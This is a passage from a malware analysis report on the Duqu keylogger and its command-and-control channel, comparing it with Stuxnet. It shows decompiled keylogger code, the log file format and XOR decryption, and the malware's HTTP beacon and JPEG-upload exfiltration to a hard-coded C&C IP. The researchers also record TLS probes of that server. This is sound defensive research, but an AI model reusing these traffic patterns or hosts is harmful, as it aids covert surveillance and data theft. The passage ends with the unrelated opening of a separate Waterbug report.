Sample 19 – Keylogger – does not start if the first parameter is not “xxx”
v4 = *(_DWORD *)(a3 + 4 * *(_DWORD *)a1);
if ( *(_WORD *)v4 == 47 )
{
v6 = (const WCHAR *)(v4 + 2);
++*(_DWORD *)a1;
if ( lstrcmpiW(v6, L"delme") )
{
if ( lstrcmpiW(v6, L"v") )
{
if ( lstrcmpiW(v6, L"quit") )
{
if ( lstrcmpiW(v6, L"restart") )
{
result = sub_401000(a3, a1, a4, v6, a2);
}
else
{
result = 1;
*(_DWORD *)(a4 + 12) = 1;
}
}
Sample 20 – valid options – not tested furthermore
34 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
signed int __userpurge sub_401000<eax>(int a1<edx>, int a2<ecx>, int a3<ebx>, LPCWSTR lpString1, int a5)
{
int v5; // eax@1
int v7; // edi@3
v5 = *(_DWORD *)a2;
if ( *(_DWORD *)a2 >= a5 )
return 0;
v7 = *(_DWORD *)(a1 + 4 * v5);
*(_DWORD *)a2 = v5 + 1;
if ( !lstrcmpW(lpString1, L"in") )
{
*(_DWORD *)(a3 + 16) = v7;
return 1;
}
if ( !lstrcmpW(lpString1, L"out") )
{
*(_DWORD *)(a3 + 32) = v7;
return 1;
}
return 0;
}
Sample 21 – and some more options
The keylogger.exe file contains an embedded jpeg file from position 34440 (in bytes). The
picture is only partial, the readable text shows “Interacting Galaxy System NGC 6745”, most
likely a picture taken from NASA and used as deception. At position 42632 an encrypted DLL
can be found. The encryption is simple XOR with 0xFF.
The unencrypted DLL is (as in the other cases) a compressed UPX file. According to the call
graph, most likely, the “outer” .exe is just a control program and injector to this internal
part, and the internal DLL contains keylogging related function calls.
Figure 12 – Structure of the interal DLL of keylogger shows wide functionality
35 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Interesting function calls: GetIPForwardTable, GetIpNetTable, GetWindowTextW,
CreateCompatiblebitmap, GetKeyState, NetfileEnum, etc.
12.1.1. Keylogger file format
The keylogger stores data in the %TEMP% directory of the target computer. The file begins
with hex AD 34 00 and generally resides in the User/… /Appdata/Local/Temp OR Documents
and Settings/ …/Local data/temp directory.
Strings “AEh91AY” in the file are modified bzip headers, whose parts can be decompressed
after extracting and modifying it back to “BZh91AY”. Note that the magic number, AE
appears again in the code.
Another type of this binary file begins with ”ABh91AY”, which is a bzip2 compressed file
containing a number of files in cleartext, like a tar file (but simpler format). The
uncompressed file begins with string “ABSZ” and the name of the source computer.
36 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. The keylogger file is a variable‐size record based format and it begins with 0xAD 0x34.
typedef struct tagDQH1 {
unsigned char magic;
unsigned char type;
unsigned char unk1;
unsigned char unk2;
time_t ts;
unsigned long len;
} DQH1;
typedef struct tagDQHC0 {
unsigned long lenu;
unsigned char zipm[8];
} DQHC0;
Sample 22 – header structures for keylog file
At the beginning of each block, the file contains a tagDQH1 structure, where magic=0xAD.
This is valid for the beginning of the file (offset=0) as well.
If the next block is compressed (that is if the zipm (“zip magic”) part begins with
“AEh91AY&SY” meaning that this part is a bzip2 compressed part), then tagDQHC0 block
follows, where lenu contains the length of the compressed part.
If the “zip magic” is missing, then the block is in a different format and the tagDQH1
information can be used for length information.
Otherwise, the block of the keylog file are XOR encrypted which can be decrypted by the
following routine:
for(i=offset-1;i > 0;i--) {
xb[i]^=xb[i-1];
}
xb[0]^=0xA2;
Sample 23 – XOR decrypter for keylogger log files
The contents of the parts can be different: Information on the disk drives, network shares,
TCP table, information on running processes, names of the active window on the screen,
screenshots in bitmap, etc.
37 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 12.2. Communication module
The discovered Duqu payload contains a Command and Control, or more precisely a
backdoor covert channel control communication module. (It’s goal is most likely not just
simple telling “commands”, but rather like RDP or VNC like functionality extended with proxy
functions and file transfer or such, but this is partly just speculation.)
In our case the communication is done with 206.183.111.97 , which is up and running for
months and still running at the time of writing this document. The communication protocol
uses both HTTP port 80, and HTTPS port 443. We present a first analysis with initial samples,
but further investigations are required to fully understand the communication protocol.
12.2.1. Communication protocol
For port 443, binary traffic can be observed. Among the first bytes of the traffic, we see the
characters “SH” most of the time, for both sides, and multiple times the observed string is
“53 48 b8 50 57” (SH<b8>PW).
For port 80, the traffic shows a distinct form. First, the victim computer starts the
communication in the following form:
GET / HTTP/1.1
Cookie: PHPSESSID=gsc46y0u9mok0g27ji11jj1w22
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9)
Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)
Host: 206.183.111.97
Connection: Keep-Alive
Sample 24 – HTTP communication protocol HTTP query header
The PHP session ID is of course fabricated and generated by the communication module. The
User Agent is static and as it is very specific (rarely observed in the wild), providing a
possibility to create specific matching signature e.g. in IDS tools.
The IP address seems to be constant, and it is hard coded to the PNF file in multiple times
(once as a UTF‐8 IP string, and twice as hex binaries).
After sending out the HTTP header, the server begins the answer by sending back a jpeg file
(seems to be a 100x100 empty jpeg), most likely for deception and to avoid firewall
problems:
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 .Content -Type: i
00000020 6d 61 67 65 2f 6a 70 65 67 0d 0a 54 72 61 6e 73 mage/jpe g..Trans
38 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 00000030 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 fer-Enco ding: ch
00000040 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f unked..C onnectio
00000050 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close ....
0000005C 32 45 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 2E0..... ...JFIF.
0000006C 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 ....`.`. ....C...
0000007C 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 ........ ........
0000008C 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 ........ ........
0000009C 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c ........ ........
000000AC 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db ........ ........
000000BC 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 .C...... ........
000000CC 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ........ ........
000000DC 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ........ ........
000000EC 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ........ ........
000000FC 0c 0c 0c ff c0 00 11 08 00 36 00 36 03 01 22 00 ........ .6.6..".
0000010C 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 ........ ........
0000011C 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 ........ ........
0000012C 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 ........ ........
0000013C 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 ........ ...}....
0000014C 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 ....!1A. .Qa."q.2
0000015C 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 ....#B.. .R..$3br
0000016C 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 ........ %&'()*45
0000017C 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 6789:CDE FGHIJSTU
0000018C 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 VWXYZcde fghijstu
0000019C 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 vwxyz... ........
000001AC 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 ........ ........
000001BC b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ........ ........
000001CC ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 ........ ........
000001DC e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 ........ ........
000001EC 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 ........ ........
000001FC 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff ........ ........
0000020C c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 ........ ........
0000021C 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 ...w.... ...!1..A
0000022C 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 Q.aq."2. ..B.....
0000023C 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 #3R..br. ..$4.%..
0000024C 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 ...&'()* 56789:CD
0000025C 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 EFGHIJST UVWXYZcd
0000026C 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 efghijst uvwxyz..
0000027C 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a ........ ........
0000028C a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 ........ ........
0000029C b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 ........ ........
000002AC d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 ........ ........
000002BC f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 ........ ........
000002CC 11 00 3f 00 fd fc a2 8a 28 00 a2 8a 28 00 a2 8a ..?..... (...(...
000002DC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
000002EC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
000002FC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
0000030C 28 00 a2 8a 28 03 ff d9 53 48 c0 a7 26 7b 00 22 (...(... SH..&{."
0000031C 00 01 00 00 14 10 00 00 00 01 00 00 00 3e 96 19 ........ .....>..
0000032C 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
Sample 25 – beginning of the transmission from the C&C server – a JPEG + extras
39 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Sometimes the client sends a JPEG image in the query as well, which is always named as
DSC00001.jpg (hard coded in the binary) as follows in the sample below.
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary=---------------------------77eb5cc2cc0add
Cookie: PHPSESSID=<some id removed here>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET
CLR 3.5.30729)
Content-Length: 891
Host: 206.183.111.97
---------------------------<some id>
Content-Disposition: form-data; name="DSC00001.jpg"
Content-Type: image/jpeg
......JFIF.....`.`.....C.........................................
...
.........
.........C.......................................................................6.6.."....................
..................
.....................}........!1A..Qa."q.2....#B...R..$3br..
.....%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.........................................................
...............................................
.....................w.......!1..AQ.aq."2...B.....#3R..br.
.$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwx
Sample 26 – beginning of the transmission with JPEG upload
The communication can be reproduced in telnet. In this case, it can be clearly seen that after
sending back the JPEG, the other end starts to send out some binary data, and because it
remains unanswered, the other end closes down the channel. We illustrate this emulation in
the following sample log.
…
000002CC 11 00 3f 00 fd fc a2 8a 28 00 a2 8a 28 00 a2 8a ..?..... (...(...
000002DC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
000002EC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
000002FC 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a (...(... (...(...
0000030C 28 00 a2 8a 28 03 ff d9 53 48 c0 a7 26 7b 00 22 (...(... SH..&{."
0000031C 00 01 00 00 14 10 00 00 00 01 00 00 00 3e 96 19 ........ .....>..
0000032C 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
0000033C 00 02 00 00 00 0d 0a .......
00000343 31 31 0d 0a 0c 00 00 00 00 02 00 00 00 3e 96 19 11...... .....>..
00000353 00 00 00 00 20 0d 0a .... ..
0000035A 32 31 0d 0a 14 10 00 00 00 01 00 00 00 3e 96 19 21...... .....>..
0000036A 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
0000037A 00 02 00 00 00 0d 0a .......
00000381 31 31 0d 0a 0c 00 00 00 00 02 00 00 00 3e 96 19 11...... .....>..
00000391 00 00 00 00 20 0d 0a .... ..
00000398 32 31 0d 0a 14 10 00 00 00 01 00 00 00 3e 96 19 21...... .....>..
000003A8 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
000003B8 00 02 00 00 00 0d 0a .......
000003BF 31 31 0d 0a 0c 00 00 00 00 02 00 00 00 3e 96 19 11...... .....>..
000003CF 00 00 00 00 20 0d 0a .... ..
000003D6 32 31 0d 0a 14 10 00 00 00 01 00 00 00 3e 96 19 21...... .....>..
000003E6 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
000003F6 00 02 00 00 00 0d 0a .......
000003FD 31 31 0d 0a 0c 00 00 00 00 02 00 00 00 3e 96 19 11...... .....>..
0000040D 00 00 00 00 20 0d 0a .... ..
00000414 32 31 0d 0a 14 10 00 00 00 01 00 00 00 3e 96 19 21...... .....>..
00000424 10 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 .... ... ........
00000434 00 02 00 00 00 0d 0a .......
40 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Sample 27 – continuation of the traffic without proper client in multiple packets
12.2.2. Information on the SSL connection
We don’t know too much about the traffic on SSL port yet, but it seems that both parties use
self‐signed certificates. It is possible, however, to connect to the server without client
certificate. The server certificate has been changed over the time, most likely it is auto‐
regenerated in specific intervals.
$ openssl s_client -host 206.183.111.97 -port 443 -msg
CONNECTED(00000003)
>>> SSL 2.0 [length 0077], CLIENT-HELLO
01 03 01 00 4e 00 00 00 20 00 00 39 00 00 38 00
00 35 00 00 16 00 00 13 00 00 0a 07 00 c0 00 00
33 00 00 32 00 00 2f 03 00 80 00 00 05 00 00 04
01 00 80 00 00 15 00 00 12 00 00 09 06 00 40 00
00 14 00 00 11 00 00 08 00 00 06 04 00 80 00 00
03 02 00 80 00 00 ff d2 f0 15 f8 da cb cb ce e8
c9 eb 60 23 34 93 98 c5 72 8b 22 c9 9f b8 1d e4
96 23 4e 88 08 5e 2c
19605:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:s23_lib.c:188:
[SSL2 is not supported]
$ openssl s_client -host 206.183.111.97 -port 443 -msg -tls1
CONNECTED(00000003)
>>> TLS 1.0 Handshake [length 005a], ClientHello
01 00 00 56 03 01 4e 91 da 29 e3 8b 9e 68 2f 4f
0d a8 30 ee 1c d5 fc dc cb f9 ae 33 6a 6f cb ff
80 6d 2a 34 5c 88 00 00 28 00 39 00 38 00 35 00
16 00 13 00 0a 00 33 00 32 00 2f 00 05 00 04 00
15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00
ff 02 01 00 00 04 00 23 00 00
<<< TLS 1.0 Handshake [length 004a], ServerHello
02 00 00 46 03 01 4e 92 48 ab 35 d9 05 8d 47 9a
8e 0c 4f fd b3 64 bb 18 f5 74 2a a1 36 45 08 cd
e1 b7 5f d0 a2 37 20 90 1e 00 00 fb f7 cf 4e f0
6d 26 95 ec 69 68 fa e7 1b ca 84 1f 0b 4f fd 2c
b0 69 90 01 a8 a3 0e 00 2f 00
<<< TLS 1.0 Handshake [length 0125], Certificate
0b 00 01 21 00 01 1e 00 01 1b 30 82 01 17 30 81
c2 a0 03 02 01 02 02 10 40 2b 57 d9 61 5a c5 b8
40 a1 04 19 e6 c0 c9 d5 30 0d 06 09 2a 86 48 86
f7 0d 01 01 05 05 00 30 0d 31 0b 30 09 06 03 55
04 03 1e 02 00 2a 30 1e 17 0d 31 30 30 31 30 31
31 36 30 30 30 30 5a 17 0d 32 30 30 31 30 31 31
36 30 30 30 30 5a 30 0d 31 0b 30 09 06 03 55 04
03 1e 02 00 2a 30 5c 30 0d 06 09 2a 86 48 86 f7
0d 01 01 01 05 00 03 4b 00 30 48 02 41 00 d1 da
d2 94 78 ee a2 56 96 88 14 d0 38 49 36 9e 0f 1b
17 71 42 7a 32 01 42 b4 17 3e 40 87 cb c1 bd 94
62 f6 f8 f9 42 53 34 78 a9 f9 01 50 8f 39 f0 2c
f4 36 dd 24 74 26 86 79 11 38 94 78 81 35 02 03
01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05
05 00 03 41 00 5c a4 39 a8 45 98 2a a9 97 05 77
63 2b 31 d7 96 bc b4 9f 0a dd bd 25 e4 1f dd e1
be c4 3c 08 56 31 6a 3d 23 f5 dc b1 5a 78 fe 34
a6 c5 91 d0 92 f6 28 f4 d9 61 eb 1a 5a 98 44 2a
a9 30 a2 46 e3
depth=0 /CN=\x00*
verify error:num=18:self signed certificate
verify return:1
depth=0 /CN=\x00*
verify return:1
<<< TLS 1.0 Handshake [length 0004], ServerHelloDone
0e 00 00 00
41 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. >>> TLS 1.0 Handshake [length 0046], ClientKeyExchange
10 00 00 42 00 40 a0 a3 36 08 e6 3d 25 b0 93 06
62 15 9d 3f ad b3 9c 9b e3 ee 87 23 37 e6 d2 8a
9e d0 0f af 1d fa 04 7e 66 e8 79 c5 71 3d 13 39
eb 7b 13 17 7c 91 e1 16 14 44 59 57 df df 69 50
bc 47 32 1b 87 35
>>> TLS 1.0 ChangeCipherSpec [length 0001]
01
>>> TLS 1.0 Handshake [length 0010], Finished
14 00 00 0c 1e e5 b8 c5 25 ef 03 8a 11 6f e3 c4
<<< TLS 1.0 ChangeCipherSpec [length 0001]
01
<<< TLS 1.0 Handshake [length 0010], Finished
14 00 00 0c 46 e2 18 8a 4e 09 3d 41 45 26 c6 ba
---
Certificate chain
0 s:/CN=\x00*
i:/CN=\x00*
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIBFzCBwqADAgECAhBAK1fZYVrFuEChBBnmwMnVMA0GCSqGSIb3DQEBBQUAMA0x
CzAJBgNVBAMeAgAqMB4XDTEwMDEwMTE2MDAwMFoXDTIwMDEwMTE2MDAwMFowDTEL
MAkGA1UEAx4CACowXDANBgkqhkiG9w0BAQEFAANLADBIAkEA0drSlHjuolaWiBTQ
OEk2ng8bF3FCejIBQrQXPkCHy8G9lGL2+PlCUzR4qfkBUI858Cz0Nt0kdCaGeRE4
lHiBNQIDAQABMA0GCSqGSIb3DQEBBQUAA0EAXKQ5qEWYKqmXBXdjKzHXlry0nwrd
vSXkH93hvsQ8CFYxaj0j9dyxWnj+NKbFkdCS9ij02WHrGlqYRCqpMKJG4w==
-----END CERTIFICATE-----
subject=/CN=\x00*
issuer=/CN=\x00*
---
No client certificate CA names sent
---
SSL handshake has read 435 bytes and written 229 bytes
---
New, TLSv1/SSLv3, Cipher is AES128-SHA
Server public key is 512 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : AES128-SHA
Session-ID: 901E0000FBF7CF4EF06D2695EC6968FAE71BCA841F0B4FFD2CB0699001A8A30E
Session-ID-ctx:
Master-Key:
CBE2283F0192B1E928DDA4E21471BA27655EBB626EC807FBE80CA284AE8BC68AFD49349750EBF7010896B1BD04050D18
Key-Arg : None
Start Time: 1318181417
Timeout : 7200 (sec)
Verify return code: 18 (self signed certificate)
---
Sample 28 – TLS communication with the C&C server
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
40:2b:57:d9:61:5a:c5:b8:40:a1:04:19:e6:c0:c9:d5
Signature Algorithm: sha1WithRSAEncryption
Issuer: CN=\x00*
Validity
Not Before: Jan 1 16:00:00 2010 GMT
Not After : Jan 1 16:00:00 2020 GMT
Subject: CN=\x00*
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (512 bit)
Modulus (512 bit):
00:d1:da:d2:94:78:ee:a2:56:96:88:14:d0:38:49:
42 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 36:9e:0f:1b:17:71:42:7a:32:01:42:b4:17:3e:40:
87:cb:c1:bd:94:62:f6:f8:f9:42:53:34:78:a9:f9:
01:50:8f:39:f0:2c:f4:36:dd:24:74:26:86:79:11:
38:94:78:81:35
Exponent: 65537 (0x10001)
Signature Algorithm: sha1WithRSAEncryption
5c:a4:39:a8:45:98:2a:a9:97:05:77:63:2b:31:d7:96:bc:b4:
9f:0a:dd:bd:25:e4:1f:dd:e1:be:c4:3c:08:56:31:6a:3d:23:
f5:dc:b1:5a:78:fe:34:a6:c5:91:d0:92:f6:28:f4:d9:61:eb:
1a:5a:98:44:2a:a9:30:a2:46:e3
Sample 29 – Server certificate details
$ openssl s_client -host 206.183.111.97 -port 443 -msg -ssl3
CONNECTED(00000003)
>>> SSL 3.0 Handshake [length 0054], ClientHello
01 00 00 50 03 00 4e 91 da d9 df fe e2 42 d8 bb
6a 96 54 35 88 d3 75 87 cb a2 80 6c 83 22 32 c6
00 b5 53 c5 30 bb 00 00 28 00 39 00 38 00 35 00
16 00 13 00 0a 00 33 00 32 00 2f 00 05 00 04 00
15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00
ff 02 01 00
<<< SSL 3.0 Handshake [length 004a], ServerHello
02 00 00 46 03 00 4e 92 49 5c cc e0 3b 46 4a 34
72 e2 51 e6 05 29 4e 13 c4 6f 58 66 bc 3d ab cd
d9 5a eb 24 a1 32 20 60 0e 00 00 99 82 81 bb 47
ab fc 23 79 06 07 7f 11 6f 0a fd b0 9a 56 03 ab
78 2e 6e 13 09 9e e5 00 05 00
<<< SSL 3.0 Handshake [length 0125], Certificate
0b 00 01 21 00 01 1e 00 01 1b 30 82 01 17 30 81
c2 a0 03 02 01 02 02 10 4e f6 48 35 85 40 75 ac
47 41 32 d4 dc e9 d0 9c 30 0d 06 09 2a 86 48 86
f7 0d 01 01 05 05 00 30 0d 31 0b 30 09 06 03 55
04 03 1e 02 00 2a 30 1e 17 0d 31 30 30 31 30 31
31 36 30 30 30 30 5a 17 0d 32 30 30 31 30 31 31
36 30 30 30 30 5a 30 0d 31 0b 30 09 06 03 55 04
03 1e 02 00 2a 30 5c 30 0d 06 09 2a 86 48 86 f7
0d 01 01 01 05 00 03 4b 00 30 48 02 41 00 d1 da
d2 94 78 ee a2 56 96 88 14 d0 38 49 36 9e 0f 1b
17 71 42 7a 32 01 42 b4 17 3e 40 87 cb c1 bd 94
62 f6 f8 f9 42 53 34 78 a9 f9 01 50 8f 39 f0 2c
f4 36 dd 24 74 26 86 79 11 38 94 78 81 35 02 03
01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05
05 00 03 41 00 7a 26 43 86 75 49 c2 15 4e ed 5b
cd ed ae 24 06 56 f2 04 dd 77 b2 e1 48 05 4e 9f
2f a8 be 38 71 49 c9 0d b6 a0 ec 77 ea e4 a3 8c
ed 0b b7 7c 36 a5 71 0f d8 57 c3 94 17 dd f7 ea
65 0d 7c 79 66
depth=0 /CN=\x00*
verify error:num=18:self signed certificate
verify return:1
depth=0 /CN=\x00*
verify return:1
<<< SSL 3.0 Handshake [length 0004], ServerHelloDone
0e 00 00 00
>>> SSL 3.0 Handshake [length 0044], ClientKeyExchange
10 00 00 40 96 85 20 da bd 3c ea 13 d8 7d b3 86
6e 7c 9e 86 76 53 dc 59 ae 47 e8 67 99 23 68 8a
35 aa 3f 77 13 3f b0 78 a1 64 d5 fc f6 11 93 b9
0e 49 06 7f a1 bf 24 bf ab 8b 3b 5a 35 3c 69 ba
e5 22 f7 5a
>>> SSL 3.0 ChangeCipherSpec [length 0001]
01
>>> SSL 3.0 Handshake [length 0028], Finished
14 00 00 24 5a 1d d0 06 ad 66 19 5d 46 a9 f0 03
61 3a a1 0d e9 56 8a 19 c5 7e 91 11 80 db 6a 42
b2 18 14 98 2b fd b6 48
<<< SSL 3.0 ChangeCipherSpec [length 0001]
01
<<< SSL 3.0 Handshake [length 0028], Finished
14 00 00 24 d3 40 5a ec b8 26 6d d5 10 7d 58 17
29 83 ca b9 8c 31 3e 80 54 4d 12 ba 7e bc 8b b1
68 ab 47 04 d2 b9 67 ca
---
43 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Certificate chain
0 s:/CN=\x00*
i:/CN=\x00*
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIBFzCBwqADAgECAhBO9kg1hUB1rEdBMtTc6dCcMA0GCSqGSIb3DQEBBQUAMA0x
CzAJBgNVBAMeAgAqMB4XDTEwMDEwMTE2MDAwMFoXDTIwMDEwMTE2MDAwMFowDTEL
MAkGA1UEAx4CACowXDANBgkqhkiG9w0BAQEFAANLADBIAkEA0drSlHjuolaWiBTQ
OEk2ng8bF3FCejIBQrQXPkCHy8G9lGL2+PlCUzR4qfkBUI858Cz0Nt0kdCaGeRE4
lHiBNQIDAQABMA0GCSqGSIb3DQEBBQUAA0EAeiZDhnVJwhVO7VvN7a4kBlbyBN13
suFIBU6fL6i+OHFJyQ22oOx36uSjjO0Lt3w2pXEP2FfDlBfd9+plDXx5Zg==
-----END CERTIFICATE-----
subject=/CN=\x00*
issuer=/CN=\x00*
---
No client certificate CA names sent
---
SSL handshake has read 447 bytes and written 233 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-SHA
Server public key is 512 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : SSLv3
Cipher : RC4-SHA
Session-ID: 600E0000998281BB47ABFC237906077F116F0AFDB09A5603AB782E6E13099EE5
Session-ID-ctx:
Master-Key:
73917F3FEF0B57C67098302F43162B977F4E8A16846C75A051B0623104FCDD0270F97B3F78A30D9ADACBD0CA190BA3CA
Key-Arg : None
Start Time: 1318181593
Timeout : 7200 (sec)
Verify return code: 18 (self signed certificate)
Sample 30 – Another handshake with SSLv3 (server certificate remains the same)
13. Relations to other papers
Some papers including [SymantecDossier] identified 0x19790509 as an important magic string
used in Stuxnet. However, they don’t mention the magic string 0xAE790509 found in the
beginning of the Stuxnet configuration file (and Duqu as well). The two numbers only differ
in the first character. In the code below, there is another magic string 0xAE1979DD copied from
Stuxnet DLL dropper. This seems to be interesting.
The other interesting magic is 0xAE. In Duqu, 0xAE comes up at many different places, so does for
Stuxnet. As described above, it’s part of the magic in the config file, and both Duqu and Stuxnet uses
0xAE240682 for configuration file encryption. For Stuxnet, some payload is encrypted with
0x01AE0000 and 0x02AE0000. The bzip2 encoded parts of the keylogger log file have a
magic “AEh91AY “BZh91AY…”, so again AE is the magic modification (note, however, that
some other affected bzip2 compressed files begin with “ABh91AY”) The question is, if Duqu
just reuses parts of the Stuxnet code and the author does not closely relates to the Stuxnet
authors, why both use 0xAE so often?
100016BA E86B090000 call SUB_L1000202A
100016BF 83C40C add esp,0000000Ch
100016C2 8D4580 lea eax,[ebp-80h]
44 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 100016C5 35DD7919AE xor eax,AE1979DDh
100016CA 33C9 xor ecx,ecx
100016CC 894580 mov [ebp-80h],eax
100016CF 894D84 mov [ebp-7Ch],ecx
100016D2 8B4508 mov eax,[ebp+08h]
100016D5 8B4008 mov eax,[eax+08h]
100016D8 051A1F0010 add eax,L10001F1A
Sample 31 – Some AE magic number from Stuxnet payload DLL
.text:10002534 loc_10002534: ; CODE XREF: general_handler_1000244C+EA j
.text:10002534 xor eax, eax
.text:10002536 jnz short loc_10002534
.text:10002538
.text:10002538 loc_10002538: ; CODE XREF: general_handler_1000244C+37 j
.text:10002538 mov eax, [ebp+arg_0]
.text:1000253B xor eax, 0AE1979DDh
.text:10002540 xor ecx, ecx
.text:10002542 mov edx, [ebp+arg_0]
.text:10002545 mov [edx], eax
.text:10002547 mov [edx+4], ecx
.text:1000254A xor eax, eax
.text:1000254C
.text:1000254C loc_1000254C: ; CODE XREF: general_handler_1000244C+1E j
.text:1000254C ; general_handler_1000244C+D5 j
.text:1000254C pop esi
.text:1000254D leave
.text:1000254E retn
.text:1000254E general_handler_1000244C endp
Sample 32 – Duqu payload Res302 magic string at general handler
14. Unanswered questions
Our goal was to make an initial analysis that raises attention to this case of targeted
malware. As we are in academia, we have limited resources to analyze malware behavior.
That means we leave several questions for further investigation. We collected some of these
questions to inspire others:
• Is there any exploit, especially 0‐day in Duqu?
• How does Duqu infect computers?
• What are the differences in the RPC functions of Duqu and Stuxnet. And between
jminet and cmi4432?
• How is the netp191.pnf 0x9200 .zdata section compressed, and what is it’s goal? Is it
a copy of the DLL 302 resource itself?
• What is the reason for having the two separate types: jminet and cmi4432?
• What is the exact communication protocol for the covert channel? Where is TLS?
What’s inside? When does it generate self‐signed cert? How does it check remote
cert?
45 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
|
SECURITY RESPONSE
Waterbug uses highly-targeted spear-phishing and
watering-hole attack campaigns to target victims.The Waterbug attack group
Security Response
Version 1.02 – January 14, 2016The Waterbug attack groupCONTENTS
OVERVIEW ..................................................................... 3
Introduction .................................................................. 5
Vectors .......................................................................... 5
